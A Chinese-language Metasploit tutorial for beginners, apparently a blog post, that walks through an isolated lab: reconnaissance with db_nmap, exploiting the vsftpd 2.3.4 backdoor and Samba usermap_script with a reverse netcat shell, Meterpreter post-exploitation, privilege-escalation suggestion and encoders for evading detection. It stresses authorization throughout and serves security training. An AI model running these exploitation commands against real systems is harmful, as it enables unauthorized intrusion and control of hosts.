Metasploit 这个框架,圈内通常直接喊它 MSF。我一开始对它又爱又恨:爱的是它把很多漏洞利用流程封装成一行行参数,恨的是照着教程敲完命令后,根本不知道自己敲的每一步在干嘛。后来带新人时发现,大多数人第一次上手都会卡在同一个位置:不知道测试目标从哪里来、分不清 RHOSTS 和 LHOSTS、拿到会话之后不知道下一步该干什么。这篇保姆级教程就冲着这三个痛点去,我会用一台攻击机和一台靶机组成隔离的本地实验环境,带你完整走一遍信息收集、漏洞利用、建立会话、后渗透操作的过程,最后把 Metasploit 的模块体系拆开讲清楚。适合刚接触安全测试、想把 Metasploit 真正用起来的人,也适合给团队做入门培训时当流程参考。
1. 动手前的边界意识:测试目标从哪里来
1.1 授权缺失的代价
Metasploit 本身是合法的安全测试工具,它能不能用、怎么用,最后归结到一个词:授权。你可以把它理解成一把万能钥匙——在自己家的实验室里,它是训练器材;在没有经过允许的门上,它就是越界工具。很多初学者拿到 MSF 之后第一反应是扫某个公网 IP,看到开放的端口就想动手,这个习惯非常危险。扫描和利用在没有授权的情况下都是越界行为,一旦被溯源到,后果是直接且严重的。所以下面所有操作,请一律在你自己搭建的虚拟机靶场上完成,不要对任何你没有权利的机器执行这些命令。
我见过太多“只是好奇扫了一下”的案例,最后都变成了麻烦事。安全行业的立身之本就是边界感,这不是一句空话。学习 Metasploit 和真正做渗透测试之间隔着一道明确的授权边界,跨过这道边界,再熟的工具也没法保护你。
1.2 一套隔离的实验环境怎么搭
要跑通完整流程,至少需要两台虚拟机加一个隔离网络。攻击机用 Kali Linux 最省事,它自带 Metasploit 框架;如果不想用 Kali,用 Ubuntu 装一个 Metasploit 社区版也行,命令差别不大。目标机建议用一个开源的漏洞靶场镜像,这类镜像社区里很常见,默认开放了大量有已知漏洞的服务,专门用来练习。一个容易犯的错误是把靶机直接放在 NAT 或桥接网络里,这会让你意外接触到局域网里的其他真实设备。
正确做法是选择 VMware Workstation 或 VirtualBox 里的“仅主机模式”(Host-Only),让攻击机和靶机组成一个封闭子网。比如:
| 角色 | 操作系统 | 网络模式 | 示例 IP |
|---|---|---|---|
| 攻击机 | Kali Linux | Host-Only | 192.168.56.10 |
| 目标机 | 开源漏洞靶场镜像 | Host-Only | 192.168.56.20 |
环境搭好后先确认两台机器能互相 ping 通,下一步才有意义。我个人习惯是固定两边的 IP,避免 DHCP 分配后地址变化导致后面的命令全部重配。靶场镜像只保留 Host-Only 网卡,不要给它配置网关,这样即使它真想访问外部网络也出不去,等于给你自己上了一道保险。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 把 Metasploit 跑起来:初始化、工作区与基本手感
2.1 启动数据库和新建工作区
Kali 里打开终端,执行:
bash复制sudo msfconsole
首次启动会加载模块库,通常需要一点时间。进入交互界面后,我先建议你检查数据库状态:
bash复制db_status
如果返回的是连接失败,先初始化数据库:
bash复制sudo msfdb init
还不行的话,直接 sudo msfdb run,它会拉起 PostgreSQL 并接着启动 msfconsole。数据库不是必须的,但没有它,扫描结果、主机记录、漏洞记录全都没法保存和查询,等于把 Metasploit 最值钱的联动能力丢了一半。
数据库正常后,给当前任务建一个独立工作区:
bash复制workspace -a pentest_lab
从此这台靶机、这些扫描记录都会收在这个工作区下面。不同实验项目应该放到不同 workspace,否则过两个月回来看 hosts 列表,你会完全想不起来哪条记录属于哪个任务。
2.2 用完整模块路径而不是裸模块名
新手最常犯的第二个错,是 use 模块名时图省事。我的建议是永远用完整模块路径,比如:
bash复制use exploit/unix/ftp/vsftpd_234_backdoor
而不是只写 use vsftpd_234_backdoor。模块路径里的第一段是模块类别,第二段表示目标协议或场景,第三段才是具体模块名。它本质上是一套分类目录,多用完整路径,时间长了你会自然形成“这个模块属于渗透测试哪一步”的框架感。
平时最常用的几个基础命令:
help:查看帮助,主要用来查命令用法。search:搜索模块,支持按 type、platform、name 过滤。use:选中一个模块。show options:查看当前模块的全部可配置参数。show payloads:查看当前模块可选的 payload。set:给参数赋值,例如set RHOSTS 192.168.56.20。run/exploit:运行当前模块。
Metasploit 的交互界面支持 tab 补全,输入 set RHOSTS 时按一下 tab,它会帮你把参数补全。这个细节能省不少时间,很多人用了一年还在手敲完整参数名。
3. 侦察阶段:端口扫出来之后才是真正开始
3.1 db_nmap:扫描结果直接入库
侦察阶段是后续一切动作的依据。最常用的是 db_nmap,它和普通 nmap 的区别是结果会自动写进数据库,省去手工整理的步骤。
bash复制db_nmap -sS -sV -O 192.168.56.20
参数含义:
-sS:SYN 半开扫描,速度快,不建立完整 TCP 连接。-sV:版本探测,识别服务具体版本号。-O:操作系统识别。
第一次跑完扫描,我会看到目标机开放了一堆端口:21、22、25、80、445、3306 等。看到开放端口不要激动,那只是线索,真正关键的是服务版本。比如 21 端口显示 vsftpd 2.3.4,老靶场里这个版本基本就等于告诉你“后门在这里”;445 端口的 Samba 版本决定你能不能套用脚本绕过模块。版本号才是漏洞利用的钥匙。
3.2 hosts 和 services:把扫描结果变成情报
扫描入库后,用 hosts 查看目标主机列表,用 services 查看端口服务明细:
bash复制hosts
services
services 输出里每行是 IP、协议、端口、服务名、版本号。你要做的不是看热闹,而是把版本号记下来,或者至少截图存档。因为后面选模块时,你就是在拿这些版本号去跟模块描述里的“影响版本范围”做匹配。
打个比方,侦察阶段就像看病问诊,你不先把体温、血常规、病史问清楚,直接抓一把药乱吃,大概率治不了病还添乱。Metasploit 的模块库虽然有上万条记录,但它不会替你判断“当前目标到底适不适合这个模块”,这个判断只能靠你手里的指纹信息。
3.3 辅助模块:协议层面的补充验证
nmap 给的指纹信息有时不够细,尤其遇到某些协议需要更精确的版本确认时,我会交给 Metasploit 自带的 auxiliary 扫描器。例如确认 SMB 版本:
bash复制use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.56.20
run
这类扫描器覆盖了 FTP、SSH、SMTP、SMB、HTTP 等常见协议的服务识别、用户枚举、口令探测,单个看可能不如 nmap 华丽,但优势是一旦跑起来,结果直接和数据库联动,后续信息都在同一个上下文里流转。
3.4 用 search 找匹配模块
当指纹明确后,就用 search 找对应的漏洞模块:
bash复制search type:exploit name:vsftpd
search type:exploit platform:linux name:samba
看一眼输出结果,重点确认模块描述里的适用版本和靶机服务版本是否吻合。这一步是最重要的“版本核对”习惯。版本对不上,后面跑 exploit 大概率白等半天;版本对上了,你才能放心进入下一步。很多新手跳过这个环节直接开跑,结果模块一直卡在“等待目标响应”,然后跑来问我为什么,我的回答永远是一句:“先回去对版本号。”
4. 利用链路:从触发漏洞到建立第一个会话
4.1 配置一个经典利用模块:RHOSTS 才是目标
当你确认目标机开放了某个存在已知漏洞的服务,就可以试着触发漏洞。以老靶场上几乎标配的 Samba 脚本绕过漏洞为例,对应模块是:
bash复制use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.20
set PAYLOAD cmd/unix/reverse_netcat
set LHOST 192.168.56.10
run
这里有两个地址,新手特别容易混:
RHOSTS是目标地址,也就是靶机的 IP。LHOST是本地监听地址,也就是攻击机自己的 IP。
如果把 LHOST 填成公网地址或网关地址,目标机根本没有路由到那个地址,就不会有回连,结果就是 exploit 跑完只剩一个“等待会话”的提示,然后空欢喜一场。记住判断标准很简单:只有攻击机和靶机互相能 ping 通的地址,才是有意义的监听地址。
4.2 payload 选择逻辑:bind 还是 reverse
所有新手都会在 payload 选择这里绕一阵子。按连接方向分,payload 分成两大类:
| 类型 | 工作原理 | 适用场景 | 常见问题 |
|---|---|---|---|
| bind shell | 在靶机上开端口,攻击机主动去连 | 靶机能被访问,攻击机不能被访问 | 靶机防火墙容易拦截监听端口 |
| reverse shell | 攻击机开监听端口,靶机主动回连 | 靶机访问攻击机不受限制 | LHOST 配置错误导致回连失败 |
实战里 reverse 用得更多,因为防火墙通常更少拦截出站流量。生活里类比一下:bind 是你在家等快递上门,可门卫不让进;reverse 是快递放到驿站,让驿站小哥主动送给你,只要驿站愿意往外走就行。阻断入站容易,拦出站相对麻烦,所以反向连接往往成功率更高。
另一层坑在架构匹配。x86 的 payload 打到 x64 进程上经常直接崩溃;Linux 下的 cmd/unix 类 payload 通用性相对好一些,但也不是万金油。选 payload 之前先确认目标的系统架构,这叫“弹药跟枪匹配”。
4.3 run 之后:第一条会话建立
如果前面配置都对,执行 run 后输出里会出现类似“session opened”的字样。此时输入:
bash复制sessions
sessions -i 1
就会进入编号为 1 的这个会话。对 Linux 靶场,提示符通常会变成 meterpreter 开头。先别急着东点西点,第一步跑两个命令:
bash复制meterpreter > sysinfo
meterpreter > getuid
sysinfo 告诉你当前系统版本,getuid 告诉你当前用户身份。这两条命令决定了你后面能不能提权、需要提权到什么级别,和侦察阶段“先看版本再动手”是同一个逻辑。到这里,你已经完成了一次“信息收集—指纹匹配—漏洞利用—建立会话”的完整链路,剩下的问题就是:会话到手了,然后呢?
5. 会话之后:Meterpreter 后渗透的常用动作
5.1 Meterpreter 高频命令速览
Meterpreter 是一个后渗透用的交互式载荷,它不是系统原生的 shell,而是 Metasploit 自己实现的运行时环境,所以命令风格和 Linux shell 不太一样。我整理了最常用的一批命令:
| 命令 | 作用 | 使用提示 |
|---|---|---|
sysinfo |
查看系统信息 | 会话建立后第一步 |
getuid |
显示当前用户身份 | 决定提权思路 |
getprivs |
查看进程权限 | Windows 场景更有用 |
ipconfig |
查看网络接口 | 确认内网网段 |
arp |
查看 ARP 表 | 发现同网段其他主机 |
ps |
列出进程 | 找服务权限和敏感进程 |
screenshot |
截屏 | 谨慎使用,注意痕迹 |
download / upload |
文件上传下载 | 需要明确路径 |
shell |
弹出一个系统 shell | 在 Meterpreter 内执行系统命令 |
后渗透能力边界很清楚:你只能在授权范围内扩展,不能随手翻阅无关数据。实验室练习时可以多试试这些命令,重点不是记住每条命令,而是体会“每一步操作会留下什么痕迹”。这也是为什么真实授权测试里,红队和蓝队经常围绕后渗透动作展开攻防对抗,本质上都是在跟“痕迹”打交道。
5.2 提权的基本思路
如果 getuid 显示你只是普通用户,提权就进入日程了。Metasploit 里有个很实用的辅助模块:
bash复制use post/multi/recon/local_exploit_suggester
set SESSION 1
run
它会基于当前系统的版本、架构和补丁信息,在本地漏洞库中检索可能匹配的提权利用模块。但它的输出只是“建议”,真正能不能提权成功,仍取决于内核版本、补丁等级和用户权限配置。Windows 场景下还有一个 getsystem 命令,它会尝试通过一组系统服务机制获得更高级别权限;Linux 场景下提权模块通常要求内核版本精确匹配,所以有时自己翻补丁信息比盲目跑几十个模块更有效率。
提权的本质是“低权限到高权限的跳跃”,这在整个防护体系里属于高危行为。对学习者来说,理解提权依赖哪些前置条件,比抄两行命令重要得多。
5.3 会话管理与实验结束后的处理
后渗透阶段会话数量可能变多,学会切换和管理会话:
background:把当前会话放到后台,回到 msfconsole。sessions:查看所有会话。sessions -k 1:结束编号为 1 的会话。jobs:查看后台任务。
实验结束后,别忘了把靶机恢复到干净快照,攻击机的命令历史也建议清理一下。真实授权测试里还有个容易被新手漏掉的环节:报告。一份完整的测试报告至少应该包含测试范围、测试时间、发现的问题、利用过程、影响评估、修复建议。其中修复建议是实际价值最高的部分,很多公司拿报告就是为了知道“我该修什么”,你在报告里只写“我打进去了”而不写修复方案,那这份报告基本算废了一半。
6. 模块体系拆解:把 Metasploit 当作积木组合
6.1 六大模块分类与职责
现在回头看,MSF 其实是一个积木式框架,组成积木的就是 module。按功能划分,一共六类:
| 模块类别 | 职责 | 典型路径 |
|---|---|---|
auxiliary |
扫描、探测、验证,不直接建立会话 | auxiliary/scanner/portscan/tcp |
exploit |
利用漏洞触发攻击代码 | exploit/multi/samba/usermap_script |
payload |
漏洞利用成功后要执行的代码 | payload/linux/x64/meterpreter/reverse_tcp |
post |
会话建立后在目标上执行的后续动作 | post/multi/recon/local_exploit_suggester |
encoder |
对 payload 做编码变形,规避检测 | encoder/x86/shikata_ga_nai |
nops |
生成 NOP 滑板指令,维持执行流 | nop/x86/opty2 |
很多新手把所有模块都叫“exp”,这是理解偏差。auxiliary 和 exploit 有本质区别:auxiliary 只做探测和验证,不打进去;exploit 才负责把漏洞利用动作真正触发起来。把这两类分清,你读模块路径时会顺畅很多。
6.2 payload 的三段结构:single、stager 和 stage
payload 值得单独多讲一点。按体量分成三档:
single:一个完整独立的 payload,比如cmd/unix/reverse_netcat,一条命令就把反向连接做完了。stager:一小段引导代码,负责建立网络连接,并准备接收后续真正干活的代码。stage:后续被拉进来的完整功能代码,比如完整的 Meterpreter。
为什么要拆开?因为实际利用过程中,目标进程可能一次只能接受很小的代码量,塞不下完整 payload,于是先塞一个很小的 stager 进去,等它建立连接后,再把大块头的 stage 传上来。用邮寄比喻:stager 是一封提前约好地址的信,stage 是之后寄过来的整套装备。
所以当你看到 payload/linux/x64/meterpreter/reverse_tcp,可以拆成三段理解:linux/x64 是目标平台,meterpreter 是 stage 类型,reverse_tcp 是外层连接方式。这个命名规则搞懂后,再看到任何 payload 路径都不会懵。
6.3 高频模块路径速查
最后给一份实操里反复用到的高频模块清单:
auxiliary/scanner/portscan/tcp:轻量端口扫描器,不想调 nmap 时顶上来。auxiliary/scanner/smb/smb_version:确认 SMB 版本,排查 Windows/Samba 目标必备。exploit/unix/ftp/vsftpd_234_backdoor:老靶场 FTP 后门经典模块。exploit/multi/handler:纯监听模块,配合外部已投递的 payload 接收回连。post/multi/recon/local_exploit_suggester:提权前的模块推荐器。
其中 multi/handler 的地位比较特殊。它不主动攻击任何目标,只负责开一个端口等着。比如你在另一台机器上通过漏洞投递了一个 reverse shell 进去,攻击机这边什么都不用做,只需要开着 multi/handler 监听对应端口,就能把回连会话接住。明白了这个逻辑,你就理解了很多教程里“明明没有在目标机上跑 exploit,却拿到了 session”这件事。
7. 避坑记录:容易劝退新手的几个细节
7.1 数据库连不上
Metasploit 用 PostgreSQL 存数据。最常见的问题是启动后 db_status 报连接失败。处理方法:
bash复制sudo msfdb init
如果初始化过,直接 sudo msfdb run。很多发行版下第一次使用都需要手动初始化,别以为工具装好了就万事大吉。数据库通了之后,hosts、services、vulns 这些命令才能正常用起来,否则你只能在终端里看着光秃秃的输出。
7.2 会话秒断 / 回连不上
这是出现频率最高的连环坑。三类典型原因:
| 现象 | 最可能原因 | 怎么验证 |
|---|---|---|
| exploit 跑完没有回连 | LHOST 网络不可达 | 在靶机 shell 里 ping 攻击机 IP |
| 会话出现后秒断 | 防火墙拦截或 stage 被截 | 换端口(如 443、8443)重试 |
| 执行 payload 后进程崩溃 | 架构或格式不匹配 | 对比 uname -m 与 payload 架构 |
新手最容易死的点是 LHOST 填错。比如只填了公网网卡地址,但实验环境里攻击机和靶机走的是 Host-Only 网络,目标机根本没有路由到那个地址,怎么等都不会有回连。另一个坑是网络模式:NAT 模式下攻击机对外表现为宿主机的映射地址,靶机不一定能直接访问它的内部地址。想少踩坑,就固定住实验拓扑,别今天 Host-Only 明天 NAT。
7.3 模块跑半天没有结果
不是所有模块都能 100% 成功,Metasploit 的 exploit 模块尤其依赖触发条件和目标版本。模块一直停在“等待响应”,最常见的原因是目标服务版本和模块要求不一致。这时候回到第 3 节的做法,重新扫描版本,核对模块描述。
如果版本确认匹配还是超时,可能是模块自身的触发条件比较苛刻。可以适当调长超时参数,但更建议先去读模块的描述和 AUTHOR 信息,看看它针对的具体版本区间和系统环境。别做一个毫无感情的“回车机器”,看见 exploit 就无脑 run,最后只是浪费十分钟。
7.4 我建议养成的几个实操习惯
- 每次实验前,把靶机恢复到一个干净快照,避免上次实验遗留的进程和文件干扰结论。
- 不同测试任务放进不同 workspace,实验做完
workspace -d删除,保持数据库整洁。 - 定期更新框架和模块库,Metasploit 的漏洞模块会随新公开漏洞持续更新,几个月不更新,手头的模块可能就过期了。
- 所有命令和输出尽量留下记录,写报告时能省很多事。
我做了不少次新人培训,最后想说的是,Metasploit 更像一把带流程意识的瑞士军刀,而不是“自动攻击器”。很多人第一次跑通 exploit 后都会感慨这个工具很猛,但如果你只记住了抄命令,换一个环境照样连不出去。反过来,把模块树、payload、RHOSTS/LHOSTS 这些基础逻辑搞明白之后,你会慢慢建立起“信息收集—指纹匹配—利用—后渗透”的完整链路思维,那一刻才算真正会用它。
最后分享一个小习惯:我每次跑实验前都会先在纸上写两行字——目标是谁、我的监听地址是什么。听起来像废话,但确实帮我避免过很多次“会话秒断之后才想起来 LHOST 填错”的尴尬。希望这篇保姆级教程能帮你把第一次完整链路顺利走通,等你跑完这一轮,再回头看 Metasploit 的模块列表,理解深度会和现在完全不一样。
